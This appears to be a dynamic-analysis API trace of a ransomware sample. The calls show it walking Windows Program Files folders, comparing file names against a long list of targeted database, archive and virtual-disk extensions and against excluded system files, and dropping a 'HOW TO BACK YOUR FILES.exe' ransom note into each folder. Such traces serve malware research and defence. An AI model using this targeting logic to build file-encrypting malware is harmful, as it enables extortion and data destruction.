	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="MSBuild") returned 1
	[0062.298] lstrlenW (lpString="setup_wm.exe.mui") returned 16
	[0062.298] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 57
	[0062.298] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="setup_wm.exe.mui" | out: lpString1="setup_wm.exe.mui") returned="setup_wm.exe.mui"
	[0062.298] lstrlenW (lpString="setup_wm.exe.mui") returned 16
	[0062.298] lstrlenW (lpString="Apollon865") returned 10
	[0062.298] lstrcmpiW (lpString1="wm.exe.mui", lpString2="Apollon865") returned 1
	[0062.298] lstrlenW (lpString=".dll") returned 4
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".dll") returned 1
	[0062.298] lstrlenW (lpString=".lnk") returned 4
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".lnk") returned 1
	[0062.298] lstrlenW (lpString=".ini") returned 4
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".ini") returned 1
	[0062.298] lstrlenW (lpString=".sys") returned 4
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".sys") returned 1
	[0062.298] lstrlenW (lpString="setup_wm.exe.mui") returned 16
	[0062.298] lstrlenW (lpString="bak") returned 3
	[0062.298] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1
	[0062.299] lstrlenW (lpString="ba_") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1
	[0062.299] lstrlenW (lpString="dbb") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1
	[0062.299] lstrlenW (lpString="vmdk") returned 4
	[0062.299] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1
	[0062.299] lstrlenW (lpString="rar") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1
	[0062.299] lstrlenW (lpString="zip") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1
	[0062.299] lstrlenW (lpString="tgz") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1
	[0062.299] lstrlenW (lpString="vbox") returned 4
	[0062.299] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1
	[0062.299] lstrlenW (lpString="vdi") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1
	[0062.299] lstrlenW (lpString="vhd") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1
	[0062.299] lstrlenW (lpString="vhdx") returned 4
	[0062.299] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1
	[0062.299] lstrlenW (lpString="avhd") returned 4
	[0062.299] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1
	[0062.299] lstrlenW (lpString="db") returned 2
	[0062.299] lstrcmpiW (lpString1="ui", lpString2="db") returned 1
	[0062.299] lstrlenW (lpString="db2") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1
	[0062.299] lstrlenW (lpString="db3") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1
	[0062.299] lstrlenW (lpString="dbf") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1
	[0062.299] lstrlenW (lpString="mdf") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1
	[0062.299] lstrlenW (lpString="mdb") returned 3
	[0062.299] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1
	[0062.299] lstrlenW (lpString="sql") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1
	[0062.300] lstrlenW (lpString="sqlite") returned 6
	[0062.300] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1
	[0062.300] lstrlenW (lpString="sqlite3") returned 7
	[0062.300] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1
	[0062.300] lstrlenW (lpString="sqlitedb") returned 8
	[0062.300] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1
	[0062.300] lstrlenW (lpString="xml") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1
	[0062.300] lstrlenW (lpString="$er") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1
	[0062.300] lstrlenW (lpString="4dd") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1
	[0062.300] lstrlenW (lpString="4dl") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1
	[0062.300] lstrlenW (lpString="^^^") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1
	[0062.300] lstrlenW (lpString="abs") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1
	[0062.300] lstrlenW (lpString="abx") returned 3
	[0062.300] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1
	[0062.300] lstrlenW (lpString="accdb") returned 5
	[0062.300] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1
	[0062.300] lstrlenW (lpString="accdc") returned 5
	[0062.300] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1
	[0062.300] lstrlenW (lpString="accde") returned 5
	[0062.300] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1
	[0062.300] lstrlenW (lpString="accdr") returned 5
	[0062.300] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1
	[0062.300] lstrlenW (lpString="accdt") returned 5
	[0062.300] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1
	[0062.300] lstrlenW (lpString="accdw") returned 5
	[0062.300] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1
	[0062.300] lstrlenW (lpString="accft") returned 5
	[0062.301] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1
	[0062.301] lstrlenW (lpString="adb") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0062.301] lstrlenW (lpString="adb") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0062.301] lstrlenW (lpString="ade") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1
	[0062.301] lstrlenW (lpString="adf") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1
	[0062.301] lstrlenW (lpString="adn") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1
	[0062.301] lstrlenW (lpString="adp") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1
	[0062.301] lstrlenW (lpString="alf") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1
	[0062.301] lstrlenW (lpString="ask") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1
	[0062.301] lstrlenW (lpString="btr") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1
	[0062.301] lstrlenW (lpString="cat") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1
	[0062.301] lstrlenW (lpString="cdb") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1
	[0062.301] lstrlenW (lpString="ckp") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1
	[0062.301] lstrlenW (lpString="cma") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1
	[0062.301] lstrlenW (lpString="cpd") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1
	[0062.301] lstrlenW (lpString="dacpac") returned 6
	[0062.301] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1
	[0062.301] lstrlenW (lpString="dad") returned 3
	[0062.301] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1
	[0062.301] lstrlenW (lpString="dadiagrams") returned 10
	[0062.301] lstrcmpiW (lpString1="wm.exe.mui", lpString2="dadiagrams") returned 1
	[0062.302] lstrlenW (lpString="daschema") returned 8
	[0062.302] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1
	[0062.302] lstrlenW (lpString="db-journal") returned 10
	[0062.302] lstrcmpiW (lpString1="wm.exe.mui", lpString2="db-journal") returned 1
	[0062.302] lstrlenW (lpString="db-shm") returned 6
	[0062.302] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1
	[0062.302] lstrlenW (lpString="db-wal") returned 6
	[0062.302] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1
	[0062.302] lstrlenW (lpString="dbc") returned 3
	[0062.302] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1
	[0062.302] lstrlenW (lpString="dbs") returned 3
	[0062.302] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1
	[0062.302] lstrlenW (lpString="dbt") returned 3
	[0062.302] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1
	[0062.302] lstrlenW (lpString="dbv") returned 3
	[0062.302] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1
	[0062.302] lstrlenW (lpString="dbx") returned 3
	[0062.302] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1
	[0062.302] lstrlenW (lpString="dcb") returned 3
	[0062.302] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1
	[0062.302] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmlaunch.exe.mui" | out: lpString1="wmlaunch.exe.mui") returned="wmlaunch.exe.mui"
	[0062.302] lstrlenW (lpString="wmlaunch.exe.mui") returned 16
	[0062.302] lstrlenW (lpString="Apollon865") returned 10
	[0062.302] lstrcmpiW (lpString1="ch.exe.mui", lpString2="Apollon865") returned 1
	[0062.302] lstrlenW (lpString=".dll") returned 4
	[0062.302] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".dll") returned 1
	[0062.302] lstrlenW (lpString=".lnk") returned 4
	[0062.302] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".lnk") returned 1
	[0062.302] lstrlenW (lpString=".ini") returned 4
	[0062.303] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".ini") returned 1
	[0062.303] lstrlenW (lpString=".sys") returned 4
	[0062.303] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".sys") returned 1
	[0062.303] lstrlenW (lpString="wmlaunch.exe.mui") returned 16
	[0062.303] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPDMC.exe.mui" | out: lpString1="WMPDMC.exe.mui") returned="WMPDMC.exe.mui"
	[0062.303] lstrlenW (lpString="WMPDMC.exe.mui") returned 14
	[0062.303] lstrlenW (lpString="Apollon865") returned 10
	[0062.303] lstrcmpiW (lpString1="MC.exe.mui", lpString2="Apollon865") returned 1
	[0062.303] lstrlenW (lpString=".dll") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".dll") returned 1
	[0062.303] lstrlenW (lpString=".lnk") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".lnk") returned 1
	[0062.303] lstrlenW (lpString=".ini") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".ini") returned 1
	[0062.303] lstrlenW (lpString=".sys") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".sys") returned 1
	[0062.303] lstrlenW (lpString="WMPDMC.exe.mui") returned 14
	[0062.303] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPDMCCore.dll.mui" | out: lpString1="WMPDMCCore.dll.mui") returned="WMPDMCCore.dll.mui"
	[0062.303] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18
	[0062.303] lstrlenW (lpString="Apollon865") returned 10
	[0062.303] lstrcmpiW (lpString1="re.dll.mui", lpString2="Apollon865") returned 1
	[0062.303] lstrlenW (lpString=".dll") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".dll") returned 1
	[0062.303] lstrlenW (lpString=".lnk") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".lnk") returned 1
	[0062.303] lstrlenW (lpString=".ini") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".ini") returned 1
	[0062.303] lstrlenW (lpString=".sys") returned 4
	[0062.303] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".sys") returned 1
	[0062.303] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18
	[0062.304] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmplayer.exe.mui" | out: lpString1="wmplayer.exe.mui") returned="wmplayer.exe.mui"
	[0062.304] lstrlenW (lpString="wmplayer.exe.mui") returned 16
	[0062.304] lstrlenW (lpString="Apollon865") returned 10
	[0062.304] lstrcmpiW (lpString1="er.exe.mui", lpString2="Apollon865") returned 1
	[0062.304] lstrlenW (lpString=".dll") returned 4
	[0062.304] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".dll") returned 1
	[0062.304] lstrlenW (lpString=".lnk") returned 4
	[0062.304] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".lnk") returned 1
	[0062.304] lstrlenW (lpString=".ini") returned 4
	[0062.304] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".ini") returned 1
	[0062.304] lstrlenW (lpString=".sys") returned 4
	[0062.304] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".sys") returned 1
	[0062.304] lstrlenW (lpString="wmplayer.exe.mui") returned 16
	[0062.304] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPMediaSharing.dll.mui" | out: lpString1="WMPMediaSharing.dll.mui") returned="WMPMediaSharing.dll.mui"
	[0062.304] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23
	[0062.304] lstrlenW (lpString="Apollon865") returned 10
	[0062.304] lstrcmpiW (lpString1="ng.dll.mui", lpString2="Apollon865") returned 1
	[0062.304] lstrlenW (lpString=".dll") returned 4
	[0062.304] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".dll") returned 1
	[0062.304] lstrlenW (lpString=".lnk") returned 4
	[0062.304] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".lnk") returned 1
	[0062.304] lstrlenW (lpString=".ini") returned 4
	[0062.304] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".ini") returned 1
	[0062.304] lstrlenW (lpString=".sys") returned 4
	[0062.304] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".sys") returned 1
	[0062.304] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23
	[0062.304] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpnetwk.exe.mui" | out: lpString1="wmpnetwk.exe.mui") returned="wmpnetwk.exe.mui"
	[0062.304] lstrlenW (lpString="wmpnetwk.exe.mui") returned 16
	[0062.305] lstrlenW (lpString="Apollon865") returned 10
	[0062.305] lstrcmpiW (lpString1="wk.exe.mui", lpString2="Apollon865") returned 1
	[0062.305] lstrlenW (lpString=".dll") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".dll") returned 1
	[0062.305] lstrlenW (lpString=".lnk") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".lnk") returned 1
	[0062.305] lstrlenW (lpString=".ini") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".ini") returned 1
	[0062.305] lstrlenW (lpString=".sys") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".sys") returned 1
	[0062.305] lstrlenW (lpString="wmpnetwk.exe.mui") returned 16
	[0062.305] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpnscfg.exe.mui" | out: lpString1="wmpnscfg.exe.mui") returned="wmpnscfg.exe.mui"
	[0062.305] lstrlenW (lpString="wmpnscfg.exe.mui") returned 16
	[0062.305] lstrlenW (lpString="Apollon865") returned 10
	[0062.305] lstrcmpiW (lpString1="fg.exe.mui", lpString2="Apollon865") returned 1
	[0062.305] lstrlenW (lpString=".dll") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".dll") returned 1
	[0062.305] lstrlenW (lpString=".lnk") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".lnk") returned 1
	[0062.305] lstrlenW (lpString=".ini") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".ini") returned 1
	[0062.305] lstrlenW (lpString=".sys") returned 4
	[0062.305] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".sys") returned 1
	[0062.305] lstrlenW (lpString="wmpnscfg.exe.mui") returned 16
	[0062.305] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpnssci.dll.mui" | out: lpString1="wmpnssci.dll.mui") returned="wmpnssci.dll.mui"
	[0062.305] lstrlenW (lpString="wmpnssci.dll.mui") returned 16
	[0062.305] lstrlenW (lpString="Apollon865") returned 10
	[0062.305] lstrcmpiW (lpString1="ci.dll.mui", lpString2="Apollon865") returned 1
	[0062.305] lstrlenW (lpString=".dll") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".dll") returned 1
	[0062.306] lstrlenW (lpString=".lnk") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".lnk") returned 1
	[0062.306] lstrlenW (lpString=".ini") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".ini") returned 1
	[0062.306] lstrlenW (lpString=".sys") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".sys") returned 1
	[0062.306] lstrlenW (lpString="wmpnssci.dll.mui") returned 16
	[0062.306] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpnssui.dll.mui" | out: lpString1="wmpnssui.dll.mui") returned="wmpnssui.dll.mui"
	[0062.306] lstrlenW (lpString="wmpnssui.dll.mui") returned 16
	[0062.306] lstrlenW (lpString="Apollon865") returned 10
	[0062.306] lstrcmpiW (lpString1="ui.dll.mui", lpString2="Apollon865") returned 1
	[0062.306] lstrlenW (lpString=".dll") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".dll") returned 1
	[0062.306] lstrlenW (lpString=".lnk") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".lnk") returned 1
	[0062.306] lstrlenW (lpString=".ini") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".ini") returned 1
	[0062.306] lstrlenW (lpString=".sys") returned 4
	[0062.306] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".sys") returned 1
	[0062.306] lstrlenW (lpString="wmpnssui.dll.mui") returned 16
	[0062.306] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPSideShowGadget.exe.mui" | out: lpString1="WMPSideShowGadget.exe.mui") returned="WMPSideShowGadget.exe.mui"
	[0062.306] lstrlenW (lpString="WMPSideShowGadget.exe.mui") returned 25
	[0062.306] lstrlenW (lpString="Apollon865") returned 10
	[0062.306] lstrcmpiW (lpString1="et.exe.mui", lpString2="Apollon865") returned 1
	[0062.306] lstrlenW (lpString=".dll") returned 4
	[0062.306] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".dll") returned 1
	[0062.306] lstrlenW (lpString=".lnk") returned 4
	[0062.306] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".lnk") returned 1
	[0062.306] lstrlenW (lpString=".ini") returned 4
	[0062.307] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".ini") returned 1
	[0062.307] lstrlenW (lpString=".sys") returned 4
	[0062.307] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".sys") returned 1
	[0062.307] lstrlenW (lpString="WMPSideShowGadget.exe.mui") returned 25
	[0062.307] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Mail", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail"
	[0062.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0062.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0062.307] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29
	[0062.307] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Mail" | out: lpString1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail"
	[0062.307] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.307] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.312] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3727b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3727b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.312] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.313] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.313] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.313] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3727b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3727b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.313] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.313] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.313] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.313] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.313] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0062.313] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0062.313] lstrlenW (lpString="en-US") returned 5
	[0062.313] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\*") returned 31
	[0062.313] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.313] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0062.313] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf28
	[0062.313] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0062.313] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3727b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d3727b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.313] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.313] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2=".") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="..") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="windows") returned -1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="bootmgr") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="temp") returned -1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="pagefile.sys") returned -1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="boot") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="ids.txt") returned 1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="ntuser.dat") returned -1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="perflogs") returned -1
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2="MSBuild") returned 1
	[0062.314] lstrlenW (lpString="msoe.dll") returned 8
	[0062.314] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0062.314] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="msoe.dll" | out: lpString1="msoe.dll") returned="msoe.dll"
	[0062.314] lstrlenW (lpString="msoe.dll") returned 8
	[0062.314] lstrlenW (lpString="Apollon865") returned 10
	[0062.314] lstrlenW (lpString=".dll") returned 4
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2=".dll") returned 1
	[0062.314] lstrlenW (lpString=".lnk") returned 4
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2=".lnk") returned 1
	[0062.314] lstrlenW (lpString=".ini") returned 4
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2=".ini") returned 1
	[0062.314] lstrlenW (lpString=".sys") returned 4
	[0062.314] lstrcmpiW (lpString1="msoe.dll", lpString2=".sys") returned 1
	[0062.314] lstrlenW (lpString="msoe.dll") returned 8
	[0062.314] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MSOERES.dll" | out: lpString1="MSOERES.dll") returned="MSOERES.dll"
